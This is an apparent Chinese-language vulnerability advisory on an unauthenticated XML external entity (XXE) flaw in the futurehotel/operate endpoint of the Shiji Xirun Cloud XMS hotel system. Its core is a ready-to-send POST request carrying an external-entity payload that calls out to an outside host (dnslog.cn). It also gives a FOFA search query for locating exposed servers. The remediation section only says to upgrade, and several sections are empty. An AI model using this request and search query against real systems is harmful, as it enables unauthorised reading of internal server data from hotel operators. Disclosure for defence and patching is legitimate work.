西软云XMS-futurehotel/operate-XXE漏洞

漏洞描述：

西软云XMS /XopServerRS/rest/futurehotel/operate接口处存在XML实体注入漏洞，未经身份认证的攻击者可利用此漏洞获取服务器内部敏感数据，使系统处于极不安全状态。

影响版本：

网站图片:

网络测绘:

fofa语法：

FOFA：app="shiji-西软云XMS"

360quake语法:

Hunter 语法:

漏洞复现:

payload：

POST /XopServerRS/rest/futurehotel/operate HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.3157.54 Safari/537.36
Connection: close
Content-Type: text/xml
Accept-Encoding: gzip
 
<!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://dnslog.cn"> %remote;]>

效果图:

修复建议:

升级至最新版本。